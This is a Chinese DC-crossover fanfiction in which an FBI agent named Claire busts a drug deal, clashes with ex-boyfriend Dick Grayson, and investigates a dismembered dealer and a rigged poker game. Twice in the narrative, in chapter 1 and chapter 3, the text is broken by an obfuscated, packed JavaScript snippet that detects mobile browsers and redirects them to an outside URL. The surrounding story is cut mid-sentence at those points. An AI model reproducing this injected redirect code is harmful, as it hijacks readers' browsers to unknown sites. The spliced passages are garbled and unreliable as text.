《[综英美]如何拒绝与前男友复合》 1. 第 1 章 这只是布鲁德海文港平静的一天。海鸥飞过阴云密布的天空，掠过深不见底的昏黑海水，在海岸、船只与楼宇间徘徊。 一只海鸥停在电线上，俯瞰湿冷的港口仓库。 这处不常走船，大部分仓库都空置着，一部分被租给需要隐蔽储物空间的人，一部分改装成店面。不知不觉间，这里成了半条脏乱廉价的商业街。 商店街中段有一家花店，庭前摆着几束扎好的混合玫瑰，因为放置时间过长，花瓣不复娇嫩，呈现出一种恹恹的散漫。几盆吊兰挂在门口，替代了风铃和装饰物，枝条张牙舞爪，朝四面八方伸开。花店的主人显然没那么热爱生活，售卖的花朵和店面的地段一样敷衍。 一辆厢式轿车在店门口停下，车上下来四位壮汉，为首那人剃了一个锃亮的光头，一半肩膀爬满花哨的纹身。 吊兰叶子拂过他光秃秃的脑袋顶，被光头壮汉不耐烦地拨开。他走过一排排花架，在花香最浓郁的地方找到柜台。 柜台后泄出一抹金色，金色冒出更多，原来是一个女人的发顶。 瞥见来客，女人懒洋洋地昂起脑袋，夸张的墨镜遮住大半张脸，“欢迎光临，有什么需要？” 光头壮汉敲敲桌，“我没见过你。” 他环顾一圈，“老约翰去哪儿了？” 女人竖起大拇指，指了指身后的杂物间，“老板在后边睡着，我是新招来的员工。” 光头壮汉换了一个姿势靠住柜台，杂物间的门敞着，风扇偶尔转到门口，将风送着花香吹来。老约翰躺在摇椅上，身上盖了一层薄毯，看着睡得很熟。 女人笑了笑，“他都和我交代好了，我们要最新鲜的满天星，天竺葵和矢车菊。” 光头壮汉打量了她几眼，紧绷的神色稍有放松。他抬抬下巴，示意身后的手下抬上来一个手提式保险箱。漆黑的保险箱像一道醒目的分隔符，将光头壮汉和墨镜女人分为两边。 趁手下打开保险箱的空档，光头壮汉和女人闲聊。 “我以为老约翰不会这么早找人接班。” “他老啦，这些年攒了不少钱，该出去避避风头了。”女人熟练地从后腰摸出一把匕首，并不避讳眼前的客人，“我劝他去搬去迈阿密住。阳光海滩，俊男靓女，多好的地方！” “迈阿密的条子扎手。” 女人轻飘飘地哼了一声，“他是过去养老的，招惹警察干什么？” 手下打开了保险箱的三重密码锁。黑市流通最新型号的保险箱，四位保镖，每个人的外套都有不自然的起伏，带着枪。如此谨慎的保护措施，保险箱里装的却不是金银珠宝，或是码得整整齐齐的美钞，而是一袋又一袋用简陋塑料袋封好的白色粉末。 某种意义上，美钞和金银珠宝都不及它们。 锋利的匕首刺进最上方的塑料袋里，挑出一小撮雪白的粉末。女人凑近，轻轻嗅了嗅，用指尖反复碾，露出满意的笑，“不错，就是这个。” 光头壮汉比了一个手势，他的手下顺从地关上保险箱。 “老规矩，这么大的量，我要这个数。” “没问题。”女人耸肩，“我们早就准备好了。” 她盯住桌上的保险箱，墨镜遮掩了她的视线。光头壮汉等着她的下一步动作，一个手下抓住保险箱提回来，另外两人警惕地朝门口张望。人、花草、花店中的万事万物都格外安静。 女人不耐烦地轻抿嘴唇，正要说些什么填补这奇怪的空缺，店外忽然传来一声刺耳的枪响！ 所有人都愣神片刻，负责望风的手下慌张回头，“老大，条子——” 光头壮汉的反应极快，“贱人，你敢骗我！” 他拔枪指向柜台，不等看清连开三枪，焦酸的火药味覆盖幽幽花香。其中一枚子弹打破花架上的花盆、泥土与碎裂的瓦陶飞溅，暴露出植物的根茎。 戴墨镜的金发女人却不翼而飞，她原本站着的位置留下三个枪眼。男人一脚踹上柜台，吩咐手下，“走后门！” 拎着保险箱的男人在同伴的掩护下率先钻进摆满鲜花的花架间，层层叠叠姹紫嫣红的花朵淹没了他的视野，它们形成一张艳丽的网，密不透风地罩住陷入困境的虫豸。 花店隔绝了街道上的枪响与喊叫，四个男人的呼吸声格外重。老约翰最珍爱的风信子中间，一把格/洛/克/2/3微微抬起。 砰！ 第一声响，第一枪！ 顶端的花盆应声而落，因巨大的冲击力摔下花架。负责保护保险箱的男人下意识看向花盆的位置，走在第二位的光头壮汉狠狠推搡他，“小把戏而已，别分心！” 光头壮汉是四人中的领头人，经验丰富，可他提醒晚了。细细密密的紫色风信子间亮出一把寒光熠熠的匕首，那刀如同布鲁德海文港冬日的海风一般，又快又利，斩向男人提着保险箱的左手。 鲜血迸溅，溅到右边花架的玫瑰上，一时间分不清哪个更红。 男人嗓子里挤出一声惨叫，他的手筋被挑断了，血肉分开，像一块菜板上切割成块的三文鱼肉。保险箱失去提住它的力，嘭一声砸在地上。 砰！ 第二声响，第二枪！ 子弹射中保险箱的侧面。保险箱的箱体采用最坚固的材质，做过最精细的处理，一枚子弹无法撬开它坚固的蚌壳。暗中袭来的一枪只做推力，飞起一脚把装着白色粉末的保险箱踹飞出众人的视线，不知滑进了花店的哪一处。 光头壮汉怒吼一声，对准左侧花架举枪扫射。他的手下们纷纷反应过来，除了被挑断手筋的倒霉蛋，剩下两人默契地用子弹排查过剩余的空间。 花店内的枪声比街道上更密集，更果断。袭击者终于在狠辣的扫射中显出身形，是那个冒充花店店员接待他们的金发女人。 她的墨镜在闪躲中不翼而飞，美丽锋芒毕露，风信子的残枝断叶略过她眼前，一灰一绿的鸳鸯眼仿若花枝间埋藏的宝石。 光头壮汉的动作有片刻的僵硬，如此醒目的特征，他一定曾在哪里听过她的名号！ 下一刻，他愤怒地高喊：“克莱尔·克洛宁，你这条FBI的鬣狗！” “你听说过我，”女人淡淡地道，语气并不惊讶，对自己的名声心里有数，“初次见面，你们好啊。” 寒风割面，曾经刺进塑料袋间的匕首格住第一人握枪的手。 随即，克莱尔手中的枪换了一个方向，枪托猛地砸上他的太阳穴，瞬间昏厥的男人连带花架一起倒下，压住朵朵带刺的玫瑰。 视野变得开阔，空间依旧令人束手束脚。 克莱尔抬枪警告，执行迟到的标准流程，“FBI办案，双手抱头蹲下！” 对面黑洞洞的枪口同样瞄准了她的额头。双方都不可能退缩，一时陷入短暂的僵持。 砰！ 第三声，第四声，第五声枪响！它们几乎重合了，用力刺入人类的鼓膜。 克莱尔矮身避开枪口，子弹穿过纷飞的发丝，扑了个空。对面传来男人痛苦的哀嚎，她击中了目标。 与头部相比，胸口是不致命但命中率更高的目标，狭隘的空间里不存在闪避的可能。光头壮汉和他的手下选择将克莱尔一枪爆头，却没想到对方的反应速度和传闻中一样优秀。 火辣辣的痛感从胸部蔓延到整个上半身，彻底激怒光头壮汉。他不再顾忌花店外随时可能突入的警察，枪火明灭，子弹如雨倾泻，但准头相差千里，大半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171367|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火力都贡献给了花店的墙壁和天花板。 接着是手腕的酸麻剧痛，光头壮汉后知后觉，克莱尔的脚尖自下而上，挑开了他的手腕，改变了射击方向。 一招得手，她借助扭身的力，一记凶猛的肘击迎上光头壮汉的脸，简单高效地解决掉第二人。 这里是克莱尔特意挑好的决斗场所，花架把店内分隔成一条条狭小的通道，便于偷袭的同时，也将她的战斗分成三场一对一的单挑。 她与四人交手不过半分钟，前两个人已经失去行动能力。第三人惊恐地睁大双眼，握不住枪。他抛掉武器，举起双手，“我投降！” 映入他眼帘的是毫不犹豫的刺拳，他晕得干脆，省了克莱尔几分力气。 还有一人，克莱尔没在倒地的三人后看见他的身影。她急忙扭头转身，正巧撞到最后一人逃进杂货间的背影。 他们对伪装成花店的交货地点很熟悉，知道老约翰的杂货间直通后院，那里有进货用的皮卡车。 克莱尔拔腿便追，奔进杂货间。老约翰安详地躺在摇椅上，似乎外面的纷争混战全然无法打扰他的安眠。前一个逃兵路过他时带落了他身上的薄毯，露出捆住他双手双脚的塑料绳。 答案揭晓，为什么克莱尔能流畅地对上他们交易的暗语，因为她早二十分钟就来到花店，冒充贩卖者的身份从老约翰嘴里套出暗号后，又打晕对方，将他摆在摇椅上作为自己扮演交易者的素材。 逃兵边跑边向后射击，克莱尔躲避间拖延了几步，看到他像只惊慌失措的猴子窜进皮卡车。 运气在此刻倒转，眷顾了克莱尔的敌人。车钥匙竟然大大方方地插在锁孔里，在克莱尔收拾老约翰的时候，布鲁德海文警察局的人居然没有一个想到朝车窗里看一眼！ 警局与FBI的联合行动，单论这一处细节，就是失败的！ 四人中唯一的幸运儿在狂喜中发动汽车，忍不住咯咯狂笑。克莱尔停住脚步，没有做徒步追车的幻想。 她的眼睛与枪管连成一线，终点是幸运儿的脑袋。 她悠悠吐出一口气。 砰！ 不是枪响，有人自街边的屋顶上飞身落下，重重砸在皮卡车顶，稳稳着陆。 克莱尔扣住扳机的手指一蜷，差点一枪射到友军身上。 她咬紧牙关，脸因怒火与无奈紧皱，华丽的援军对她的恼怒一无所知，攀住车顶，从副驾驶打开的车窗中荡进车里。 他的身骨柔软，与健美的身材完全不匹配，不知怎么塞进了驾驶室。 皮卡车在道路中间歪歪扭扭地摆荡，好像司机是他的多年老友，援军俏皮又亲昵地道：“到站了，请下车。” 悬挂在驾驶座前的车内后视镜映出一张英俊精致的脸，它沐浴阳光与海风，天生霸道地认领人群的焦点。 孔雀蓝的眸子含着笑，是轻松的笑，代表眼睛的主人有掌控局面的信心。 逃进皮卡车里的人随后就明白了他的自信从何而来，又重又沉的一拳打断他的鼻梁与意识。皮卡车扭了一个大弯，在路边缓缓停下。 克莱尔恼火地跟上来，拽开车门，对拔掉车钥匙的援军冷笑。 “听说你的体能成绩是警局的最后一名，哈，迪克·格雷森？” BPD不出众的小警察对她无辜地摊开手，“我小时候当过杂技演员，刚才都是我的肌肉记忆。” “好理由。”克莱尔双手抱胸，“负责支援的人怎么是你？” “原本不是我，”迪克轻描淡写道，“但他们听说FBI派来的探员是你之后，更换了我的岗位。” 他弯唇微笑，上帝精心雕琢的脸蛋愈发夺目。 “好久不见，前女友。” 2. 第 2 章 FBI布鲁德海文外勤办公室建立不超过一年，这是它与布鲁德海文警察局的第一次联合行动。单论结果而言，围绕花店交易的上下线尽数落网，哪怕最苛刻的海文媒体也会盛赞他们的成功。 警局局长和外勤办公室主任决定举办一场仅邀请行动组成员的庆功宴，地点选在巴西社区内的一家餐厅内。风尘仆仆的警探和特工们包下了餐厅二楼，随意取用自助餐台上的餐点，举着庆祝的香槟，三三两两扎堆交谈。 卡莉法很重视今晚的庆功宴，从纽约分部发配来的女强人认为这是一次与警局建立良好合作关系的好机会。 她从餐台上取了一杯加满冰块的杜松子酒递给克莱尔，抬抬下巴，“那边的大块头是重案组的探长索姆斯，你要不要去和他打声招呼？” 克莱尔朝她示意的方向望了一眼，认出那张对她不太友善的脸。她轻轻一哼，冰块碰撞，柠檬片在冰块间浮动，随杯中液体的减少下沉。 “他不是我的菜。” “老天，”卡莉法诧异地看向她，“你脑子里就装着这点事？” 克莱尔蹙眉，“我的任务完成了，接下来应该有一周的假期，有什么不行吗？” 她凑到卡莉法耳边，嘴里呼出松木与胡椒的辛辣芬芳，“没关系，卡莉法，我不对同事下手。” 上司面无表情地推开她的脸，“你以后的工作很可能与海文重案组有交集，现在认识对方的领队，方便你们未来合作。” 克莱尔不屑道：“我对鼻孔朝天的莽夫没兴趣，我宁愿单干。” 卡莉法瞥她，“不高兴？” 几句话里，克莱尔手中的酒杯只剩慢慢化水的冰块，连柠檬片都被她捞出来含在嘴里。 她酸得脸一皱，转身拿了第二杯酒，“我刚结束了一次紧张刺激的伪装任务，并且我对任务的执行过程、处理细节和海文警局提供的后援都非常非常不满意，我有充足的理由摆脸色。” 卡莉法了然道：“警局的漂亮男孩，说实话，他这次干得不错。” “不需要他帮忙，我也能把最后一个人抓回来。”克莱尔的指尖敲着酒杯，“我不喜欢警局那群人自作主张。” 她和迪克分手有半个月了，那群警察把迪克调来给她做支援组，看热闹的想法很明显。 卡莉法眉头一挑，本想充当情感大师的角色开解几句，又忽然改口，“警局局长来了，我去找他说几句。” 她带着自己一口未动的香槟袅娜离开，克莱尔挑中了今晚的第三杯酒，一只手快一步抢走了她的目标。 “嘿，”她对上一双明亮的蓝眼睛，“好久不见。” “这话你今早说过了。”克莱尔盯着迪克手里的苦艾酒看了两秒，撇嘴换了一杯自由古巴，“能不能换一个不常见的搭讪套路？” 面前的人端着酒杯，但那杯苦艾酒只是他的装饰品，和那身妥帖的警服一同装点了他完美的皮相。 他向克莱尔笑，嘴角的弧度和克莱尔认识他时一模一样。 “因为我们确实很久没见了，十八天。我以为我们见面至少能和平相处。” “和平相处不是前男友的待遇，”克莱尔咧开一口森森的牙，“哇，你战无不胜的魅力失效了，是不是很失望？” “CC——”克莱尔满意地发现他完美的微笑假面破开了一道裂缝，迪克的声音忽然变小，“对不起，我不该约会时迟到，我不该和你冷战。” 十八天前，两人约定好去游乐园约会，在三十六天前他们就预定了游乐园的双人票。迪克爽约了，克莱尔给他打了三个电话，发了七条消息，停车在迪克的公寓楼下等了一个半小时。 一个半小时后，她等到一个筋疲力尽的迪克·格雷森。 一件T恤皱巴巴地揉在他身上，黑发因未干的水汽显得潮湿。嘴唇起皮，眼白发红。每一个看到他的人都会怀疑，下一秒他将一头栽倒在地上，变成一棵沉睡的蘑菇。 和他相比，克莱尔全副武装，气势汹汹，好似一个即将登台表演的歌剧演员。 “抱歉，宝贝，我迟到了，刚刚有点急事需要我处理。”迪克拉开车门，探过身熟练地亲吻克莱尔的脸颊，“我们走吧。” 克莱尔没发动汽车。 “你的状态很不好，要不要休息？” “不，我没事。” “你的事情很棘手吗，需要我帮忙吗？” “一点小事，我已经解决了。” “你没什么想和我说的吗？” “我们今晚可能赶不上花车游行。” 空白持续了数十秒，克莱尔既不说话，也不动作，车内的沉默便如尘埃一般翻涌。 迪克后知后觉，小心道：“你生气了吗？” “没有，”克莱尔说，“我们分手，再见。” 她下车，绕到另一边，把迪克拽下来，“回去睡觉，希望充足的睡眠能让你清醒一点。” 车门贴着迪克的鼻子狠狠摔上，克莱尔开车扬长而去。她不回消息，不接电话。迪克不明所以，又心生怒气，两人的冷战持续了十八天。 “抱歉，”迪克的脸与半个月前疲惫的脸重合，隐隐有几分委屈，“我当时……有点生气，这很不对，是的！但你把我赶下车，拒绝和我沟通，我不知道你为什么要和我分手！” 他没压制住音量，周围投来一圈隐蔽的注视，好奇的眼睛和桌上的空酒杯数量相当。 克莱尔揪住迪克的制服领带，头疼道：“闭嘴，跟我过来。” 她不乐意当众人取乐的笑话，找到一处藏在窗帘后的僻静阳台，将乖乖跟着她走的迪克推进角落。 夜风凉凉，扑过克莱尔滚烫的脸颊。她眯眼远眺，酒气上头，街道与远处的海港模糊成深蓝浅蓝的一片，街灯如星。 小警察的嘴巴一开一合。 “如果我有做错的地方，你可以告诉我，我们一起解决。” 克莱尔靠坐着阳台围栏，懒洋洋地把玩那条与制服相配的深灰领带。 “你说话，我不爱听。” 一只手撑住她身侧的围栏，“那你来说，我听你说。” 克莱尔撇嘴，迪克的嘴唇在她眼前晃。他果然安静了，唇线不自觉用力抿着，神态无辜。 克莱尔扬眉，“巧了，我刚好是个哑巴。” 迪克抬眼，他不吭声，默默朝前凑了凑。灯光被天鹅绒的落地窗帘拦截在外，滤出暧昧的光线。 好看的皮相总是更容易在人际交往中占据优势，克莱尔向来喜欢这张脸，她的手指落到迪克抿住的唇瓣上，有一下没一下地拨弄。 猩红窗帘挡住了喧闹嘈杂的大厅，隔出一片万籁俱寂。不调情很可惜，但克莱尔刚刚承认自己是一个哑巴，真是话说早了。< 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黑蓝的海水卷起浪，风有了灰暗的颜色，游艇随海浪起伏。克莱尔撑着床，迪克重重咬了她的嘴唇，一个幼稚的报复。 她在火焰的燃烧中变沉了，残骸浸泡在冰冷的海水里，她张嘴，吐出一串气泡。每个泡泡都折射出一副模糊的画面。 曾经发生过什么，但她记不清了。在情热的间隙里，有人往她的时间线里插入了一个回档，重返此时此刻，而被操控的角色只有隐隐的预感，并不清楚上一周目的故事。 克莱尔在海里不停下坠、下坠，猛地摔在厚实温暖的床垫上。 她下意识屈膝上顶，身体如弹簧般蜷缩用力，飞起一脚踹开压在身上的人， 重物落地，砸出一声闷响。 克莱尔急促地喘了一口气，迪克的迷茫盖过了被踹下床的愤怒，他急忙探上来，凑到克莱尔身边。 “你在之前的行动里受伤了？” 他关切地看着克莱尔，蓝眼灿灿如星。 克莱尔对上他的双眼，欲言又止。她干脆推开惹她心烦的人，到游艇甲板上透气。 迪克跟在她身后，在她远望海面时小心地从后方搂住她。 “怎么了？” “没事。”克莱尔说。 她们静静地靠着，吹着港口有淡淡腥味的凉风。两个人的身体像两颗棱角分明的打火石，摩擦碰撞间，便会擦亮火星。 克莱尔托住迪克的脸，他的嘴唇红润，是克莱尔亲昵的犯罪证据。 犯人有些意动，她勾住男人的领口，低低笑了一声，“你想不想开船到海上去玩？” 被引诱的人却没给出应有的反应，迪克直勾勾地瞪着船下黑沉沉的海面。 克莱尔顺着他的目光望去，海浪翻涌，波澜不止。一样白色的漂浮物在水中浮动 。 克莱尔屏住呼吸，风带走了温度与感性，擦去蒙在眼前的水雾。 她看清楚了，是腿，是一条死白的人腿。 男性，成人，单独一条腿。它泡在海水里，在游艇边寂寞地漂浮。 克莱尔勾着迪克衣领的手一抖，慢慢缩回来，在迪克的制服下摆上擦了擦。 “是上天的谴责啊，分手就该有分手的样子。”她嘟囔着，朝旁边走开。 3. 第 3 章 小港口外拉起重重封锁线，里面挤满了警察。 现场勘察员和他们沉重的工具箱像一簇簇饱满的蘑菇，种在海边、游艇和一踩就嘎吱嘎吱响的木头栈道上。 索姆斯探长抱臂立在游艇船头，指挥下海捞尸的潜水员将新发现的尸块搬上岸。 法医面不改色地翻捡泡胀的肉块，对粗糙的切口叹息：“他是被人活活撕裂的，布鲁德海文又出了一个讨厌的怪物！” 咸腥的海风里混杂了令人作呕的生肉味。 满脸疲惫的男女坐在封锁线外的长椅上，裹紧皱巴巴的衣服吃早餐。克莱尔和迪克刚从警局询问室出来，两人一个接一个比赛似地打哈欠。 “你的游艇恐怕短时间内没办法住了。”迪克塞了一大口卷饼，满满当当的食物噎在嗓子里，说话含糊，“如果你没地方落脚，可以去我家暂住几天。” “谢谢你的好意，”克莱尔抬起手机，屏幕上显示一条发出的短信，“我哥哥在布鲁德海文城郊有住处，他最近在大都会参加节目，我住他那里。” “挺好的。”迪克用卷饼堵嘴。 克莱尔挑走了迪克看上的那杯加奶加糖的咖啡，她了然道：“少摆出一副失落的表情，我打算趁现在休长假，难道要我把宝贵的假期浪费在你的小公寓里吗？” “我正好轮休。”迪克自然地拿起两人都不待见的那杯冰美式，把吸管戳进封口，慢吞吞地吸了两口，“算起来可以休息三天。” 他捏着吸管在冰块之间搅了搅，“这周游乐园有双人票折扣，你有没有——” “我打算闷头大睡，直到卡莉法把我拎出被窝上班为止。”克莱尔起身，“我得出发去调查局了，再晚一点，卡莎肯定不会给我批假，再见。” 她走出两步，听到迪克说：“再见。” 嘴里的咖啡又腻又浓，加入了致死量的糖和奶，多喝一口都是折磨。 克莱尔拎着难喝的咖啡，向后随意摆摆手，跨上机车潇洒离去。她从后视镜望去，长椅上的迪克变成一个小点。 调查局外勤办公室与布鲁德海文警察局在两个不同的方向，克莱尔压着限速的边缘，用时四十分钟到达办公楼下。调查局的办公楼又新又小，只有两层，简直把“你被发配边疆了”摆明了写在脸上。 克莱尔穿过争吵与辩论的同事，路过挤满人在开案情分析会的小单间，直达二楼。卡莉法站在二楼办公室门前，居高临下地扫视众人。 “卡莎女王又在巡视她的领地。”克莱尔如同一个佞臣凑到卡莉法耳边低语，“女王，能否给你最忠诚的臣子批个假？” 卡莉法没好气地推开她的脸，“别以为我没看到昨晚你和警局的小漂亮偷跑了，哈，跑进警局询问室的感觉怎么样？” “你伤到了我的心。”克莱尔假模假样地捂住心口，越过卡莉法走进办公室，姿态散漫地陷进沙发里。 卡莉法在办公桌后坐下，“少贫嘴，来得正好，你的假期没有了。” 一灰一绿的眼珠瞪成两颗颜色不同的葡萄，“哈？” 卡莉法懒得理会她，直接开始画饼，“等你结束这次任务，我给你批一个七天长假。” 吃饼的人把玩墨镜，右腿搭在左腿膝盖上，“这话好耳熟，我是不是上周听过差不多的话术？” 卡莉法置若罔闻，继续说：“死者的DNA检测结果出来了，你说巧不巧，他是那批药贩子里的一条漏网之鱼。” 听到这里，克莱尔坐正，冷笑：“一个药贩子死在我家附近，尸体分成好几块在我的床底下翻滚。这算什么，挑衅？” “你在联合行动里出了很大风头，不是没有这种可能。”卡莉法冷静道，“警察局那边愿意把案子交给你，应该是想卖我们一个人情。” “也不排除是他们嫌麻烦，”一沓资料甩向克莱尔，第一页是死者的尸检报告，“死者被活活撕成了碎片，这种一看就是超能力者犯下的案件，警局向来不愿沾手。” “大部分警员不会天真到以为自己拿枪能打赢一个手撕活人的怪物。” 她看了一遍死者的资料和尸检报告。死者的名字是休伯特·泰勒，三十七岁，目前独居。他结过一次婚，有一子一女，都由前妻抚养。验尸报告称他没有药瘾，作为一个药贩子，这点倒是少见。 克莱尔合上资料，“很有挑战性，这个案子，我接了！” 休伯特的住处位于贫民窟边缘，只有巴掌大，一小时足够克莱尔把这里翻得底朝天。 和公寓的租金一样，公寓里的每一样东西都廉价而破旧。墙壁角落有蜿蜒的裂纹，卫生间布满棕褐的水垢。克莱尔按住单人床摇晃几下，床板嘎吱作响。 书桌上的摆件是唯一称得上精致的东西。鲸骨向深海坠落，森白的骨架间仿佛回荡着悠远的鲸鸣。 克莱尔仔细检查了摆件，没发现任何可疑之处。她探究的目光落到摆件旁边的水杯上。 普通的啤酒杯，杯身中央是一颗红心印花，红心下方写了一行华丽繁复的花体字：红心酒馆。 克莱尔用手机检索公寓附近的地图。红心酒馆就在公寓两条街外，走路过去只用十五分钟。 她记下地图，转身推开卧室的窗户。天边滚着一层蓄饱了雨水的阴云，沉沉压在城市的头顶。窗外没有别的活物，只有一只看不清羽毛的鸟儿仓皇飞走。 她感到被注视的疑心好像只是一个敏感的错觉。 克莱尔在公寓里待了一个下午，到下午六点准时动身，出发前往两条街以外的红心酒馆。 大多数酒馆只在黄昏降临时开门，招待疲惫的上班族和无所事事的闲汉。克莱尔进门时，酒馆里还没有多少人，她笔直地走向吧台，在酒保面前坐下。 夜里戴墨镜实在显眼，她换了一副棕色的美瞳。 “帅哥，麻烦给我推荐你们这儿最棒的酒。” 擦拭酒杯的酒保抬眼，先是一愣，随后放下酒杯，“我没见过你，你不是附近的客人。” “有人和我推荐了红心酒馆，说这里很有趣，是我会喜欢的地方。”克莱尔耸肩，“你还没告诉我这里最棒的酒是什么。” 酒保笑了笑，“我们店的杰克丹尼是最好的，我请你一杯。” 他在吧台后的一排木桶里接了满满一杯杰克丹尼威士忌，加入大量的冰块和少量的青柠檬汁，滑给克莱尔。 “推荐你来的家伙没有陪你一起吗？”酒保双手支着吧台，“让你这样美丽的女士独自来酒吧消遣是一种罪恶。” 克莱尔漫不经心地抿了一口酒，答道：“前男友，不久前分手了，我不是很想见到他。” 话音刚落，有人拉开了她身旁的吧台椅。 “我敢说他是一只糊涂虫，虽然我不知道发生了什么，但肯定是你前男友的错。” 来者有一副绝妙的身材和一张平平无奇的脸，他冲克莱尔微笑，一张平凡的脸也因笑容增添几丝风味。 酒馆灯光昏暗，克莱尔在暧昧不清的光线里打量他，总觉得有些不自然。 “我是约翰，你们好。” “卡莉法。”克莱尔说，“因为你站我这边，所以我要请你喝一杯。” 她对酒保道：“给约翰来一杯黑啤！” 满满一大杯德国黑啤送到约翰手边，浓密的泡沫占据了啤酒杯三分之一的上半部分。约翰象征性地喝了一口，嘴唇上几乎没留下泡沫。 酒保推来一碟鱿鱼干，适时加入两人的闲谈。 “别聊前男友那种愚蠢的生物了，红心酒馆是让人放松的地方。”他撺掇道，“要不要玩点有意思的？” 克莱尔饶有兴趣道：“什么算有意思？” 酒保从吧台后摸出一堆红心酒馆的纪念章，分成三小份，其中两份分别拨到克莱尔和约翰面前。 克莱尔捡出一枚纪念章，大拇指轻轻一弹，一点红心高高飞起，旋转，落在她的虎口上，被她用左手盖住。 她侧身对约翰道：“猜猜是正是反。” “我猜是正面。”约翰嘴角微勾。 “你看到是反面了。”克莱尔撇嘴，“没劲。” 酒保拍拍手，“朋友们，它可不是这么玩的。” “我们有三个人，可以玩德/州/扑/克，我当荷官。”酒保笑眯眯地说，“从我手里赢走所有筹码，就是你们赢。反之你们因为输光赌注离场，就是我赢。” “输赢没有惩罚吗？”约翰问。 酒保只是笑，“你们赢了，今晚的酒我来请。你们输了，账单双倍，怎么样？” 没人不同意。 酒保拆开一副普通扑克牌，拿走大小王。一局德/州/扑/克只需要用到这些。 游戏规则很简单。玩家手里有两张底牌，场上有五张公共牌，以3、1、1的顺序依次揭开。每轮都可以选择加注或不跟。公共牌全部掀开后，玩家在七张牌中选择五张牌，谁的花色大谁赢。荷官也要下场。 这是概率的游戏，必须要算牌，一味地加注或者不跟只是慢性死亡。 酒保真的如同一个称职的荷官一般，站着洗牌发牌。两个玩家坐着，高低差正好方便他暗暗观察两人。 自称“卡莉法”的女人自摸到筹码的那刻，呼吸就急促起来。约翰看上去是老实人，实际摸牌的姿态娴熟，他是老玩家。 酒保的运气不错，一次钓上来两条鱼。 卡莉法翻开手中的两张底牌，一张“Q”一张“3”，这么烂的牌她竟然敢加注。幸运的是吧台中央的公共牌中同样出现了一张“Q”和一张“3”。 她欣喜地将筹码收入囊中，“两对，比你们的都大。” 她的情绪直白好懂，牌好牌坏都写在脸上，极力伪装也忍不住将笑意泄在嘴角。这种人贪婪冒进，是最没脑子的赌徒。 酒保不打算让她立马下场，准备给她多尝一点甜头。 红心酒馆的扑克牌都是特制的，牌背有肉眼无法分辨的颜色差异，仅仅能通过酒保眼中的隐形眼镜识别。不同的颜色代表不同的花色，让换牌算牌变得简单。 三人玩了几场，卡莉法和约翰都是有输有赢，卡莉法的筹码更少。酒馆的客人来来回回，人数总是固定在那么多。隔壁的几桌酒客被他们的动静吸引，纷纷挤到吧台边围观赌局。 玩家们周围竖起一道人墙，卡莉法烦躁地抱怨：“离远点，你们贴着我了！” 酒保将牌藏在袖中，翻牌的瞬间换掉了最后一张公共牌。牌背的颜色与卡莉法手中的两张底牌一致。 卡莉法惊喜道：“呀，同花，是我赢了！” 她的筹码被约翰赢走大半，原本再玩不了几把就得下场。这一局起死回生，让她狂揽场上大半筹码！ 胜负颠倒，约翰面色发白。他倔强地盯着酒保，双眼睁得通红，试图找到酒保作弊的一点破绽。可他依旧没下桌，较足劲儿要和酒保比上一场。 酒保心中暗笑，他高看了他，这个约翰不比卡莉法强多少。 按照酒馆定下的游戏规则，三轮之内他该结束游戏了。桌上的五张公开牌，牌背是同一种颜色，无论点数是多少，荷官必定是同花！ 它大于顺子、三条、两对、一对和高牌，能赢过它的寥寥无几。即使卡莉法和约翰好运凑齐了同花大顺、同花顺、四条和满堂红，大不了酒保再赌下一场。 卡莉法警惕地盖住自己的两张底牌。她瞪向凑过来的围观酒客，“你别想看我的牌，我怕你和酒保合伙坑我！” “怎么会呢？”酒保笑道，“玩玩而已，又不花钱。要下注吗？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171369|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 约翰眉头紧锁，一言不发。他的目光触及到自己少得可怜的筹码，被烫到似地收回来。酒保怜悯地看着他紧绷的嘴角，筹码的总数不多，有时候输赢就在一两局内。他可以选择封牌，但那无法改变他下场的结局。 最终，约翰艰涩地挤出几个字，“Show hand！” 零零散散的几个筹码推出来，一点气势都没有。他或许只是想快点输光离场。 酒保见过很多破罐子破摔的赌徒，他并不感到意外。 另一个声音果断道：“Show hand！” 卡莉法用胳膊牢牢压住底牌，阔气地一把推出全部筹码。金章呼啦呼啦散在吧台上，众多红心拥簇着她。 “女士，你很自信。”酒保说。 “要么输，要么赢。”卡莉法舔了舔嘴唇，“总不能连约翰都比不上。” 酒保第二次认真审视她漂亮的脸蛋，想判断她到底是胸有成竹还是虚有其表。站在卡莉法身后的人挤了两下，没找到机会拱开她的手臂。 箭在弦上，不得不发。 酒保故意环视四周一圈，吊足胃口，才一张张掀开五张公共牌中的三张牌。 第一张，红心3。第二张，红心7。第三张，红心5。 在场所有人都能听到卡莉法粗重的呼吸声，贪婪从她眼里涌出来，淹没手边金灿灿的纪念章筹码。每一颗红心都随她的心脏一起跳动。 与之相对的是约翰苍白的脸色，仿佛一瞬间有人抽干了他血管里所有血液。 酒保翻开第四张牌。 红心J。 两位玩家的目光对上，一触即分。 约翰嘴唇颤抖，哑声道：“我封牌。” 旁观的客人一把摁住他的肩膀，嘲弄道：“你都把手亮出来了，哪有撤回的道理。” “别玩不起啊。”周围人起哄道。 酒保也笑道：“别紧张，我们又不赌钱。” “好吧，”约翰喃喃，自我安慰，“大家都是随便玩玩，输了也没事。” 他的背弓下去，折在桌上。 酒保的眼睛扫到卡莉法，她的胳膊下露出底牌的两角牌背。 红心，她也是红心！ 